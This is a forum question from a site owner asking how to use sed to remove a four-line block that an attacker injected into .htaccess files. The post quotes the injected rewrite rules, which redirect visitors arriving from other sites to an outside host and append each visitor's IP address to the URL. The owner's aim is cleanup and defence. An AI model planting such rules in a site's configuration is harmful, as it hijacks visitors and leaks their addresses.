Removing a text block from a file : sed ?

Programmer Question

Hi,
Following an attack, I need to remove 4 lines of text added to .htaccess files in my site, and was thinking SED would be the way to go, but cannot see how in spire of many attempts.

The added lines are

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://targeturlhere.net/%{REMOTE_ADDR}

I managed to create the script to remove added htaccess files containing those lines only, but for existing htaccess files in which that was appended I have to edit the file and cannot delete it. I cannot just remove line by line nor use "RewriteEngine On" as the start marker, as this instruction "RewriteEngine On" is sometimes legitimate elsewhere in the file.

In most cases those lines are the last, but I guess in other files they could be in the middle, so I was trying to remove exactly that block - and have a script I could reuse in a similar case.

(Edit: my 4 lines are below one another, no blank line in between but the editor here seems to either show no breakline, or one adding a blank line)

Any hint or tip ? Thanks.

Find the answer here